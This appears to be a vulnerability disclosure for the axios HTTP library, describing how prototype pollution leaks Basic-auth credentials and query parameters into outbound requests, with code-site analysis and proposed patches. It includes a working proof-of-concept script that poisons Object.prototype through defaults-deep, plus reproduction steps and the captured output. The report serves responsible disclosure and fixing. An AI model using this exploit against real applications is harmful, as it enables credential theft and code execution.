Details
const authUsername =
authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;
This is the exact pattern needed at lines 739–740 too.
(2) `lib/helpers/resolveConfig.js` lines 50 + 68 (xhr/fetch adapter shared resolver):
const auth = own('auth'); // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
// ^ .username and .password read directly on `auth`, no hasOwnProp guard
Same shape — top-level guarded, sub-fields walk prototype.
(3) `lib/helpers/resolveConfig.js` lines 58–59 (params + paramsSerializer):
newConfig.url = buildURL(
buildFullPath(baseURL, url, allowAbsoluteUrls),
config.params, // ← direct read, not through own()
config.paramsSerializer // ← direct read, not through own()
);
This third site is already proposed for fix in open PR #10922 by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #10922 does not cover.
PoC
This PoC contains zero direct Object.prototype.x = y writes. The
pollution flows entirely from attacker-shaped JSON through a real
deep-merge utility ([email protected], ~50k weekly downloads,
still walks constructor.prototype). A hand-rolled deep merge —
the canonical insecure backend pattern — exhibits the same pollution
via __proto__ and is more common in real codebases than any named
utility.
#!/usr/bin/env node
'use strict';
const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');
// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
for (const k of PROTO_KEYS) {
try { delete Object.prototype[k]; } catch (_) {}
}
}
scrub();
// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
"constructor": {
"prototype": {
"username": "victim-user",
"password": "victim-password-leaked",
"params": {"leak": "ATTACKER_QUERY_TOKEN"}
}
}
}`);
// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
// After this line:
// Object.prototype.username === "victim-user"
// Object.prototype.password === "victim-password-leaked"
// Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" }
// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
console.log('=== captured outbound request ===');
console.log(JSON.stringify({
method: req.method,
url: req.url,
authorization: req.headers.authorization || null,
}, null, 2));
res.end('{}');
server.close();
scrub();
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// 4) Realistic application wrapper: optional per-call overrides.
// `auth: opts.auth || {}` is the common pattern — empty own object,
// but inherited values walk the prototype chain.
function makeRequest(targetUrl, opts = {}) {
return axios.get(targetUrl, {
timeout: 5000,
auth: opts.auth || {},
params: opts.params || {},
});
}
makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
console.error('axios error:', e.message);
scrub();
process.exit(1);
});
});
Reproduction:
mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install [email protected] [email protected]
node /path/to/poc.cjs
Captured output (verified against released 1.16.1 AND againstmain at 34723be, 2026-05-24):
{
"method": "GET",
"url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
"authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}
dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes tovictim-user:victim-password-leaked. The querystring carries?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel
in real chains (CSRF token, session cookie via req.headers, etc.).
Impact
- Credential exfiltration via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path.
- Outbound request-shape control via inherited
params/paramsSerializer. WithparamsSerializerpolluted to an attacker function, axios will execute that function with eachparamsinvocation — same-process code execution from a pollution primitive. - Amplifier framing is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without
__proto__/constructorfiltering, then uses the empty- fallback wrapperauth: opts.auth || {}/params: opts.params || {}." Both halves are very common in real codebases (we testeddefaults-deep, hand-rolled merges, and several lodash-family utilities; many still pollute). - CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink).
Proposed fix
Two-line change in http.js, matching the proxy-auth pattern PR
#10833 already established:
--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@@ -737,8 +737,10 @@
const configAuth = own('auth');
if (configAuth) {
- const username = configAuth.username || '';
- const password = configAuth.password || '';
+ const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+ const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
auth = username + ':' + password;
}
Same pattern in resolveConfig.js:
--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@@ -64,7 +64,11 @@
// HTTP basic authentication
if (auth) {
+ const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+ const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
headers.set(
'Authorization',
'Basic ' +
- btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+ btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
);
}
The `params` / `paramsSerializer` half is already handled by open
PR #10922's own('params') / own('paramsSerializer') change — that
PR should be rebased / merged.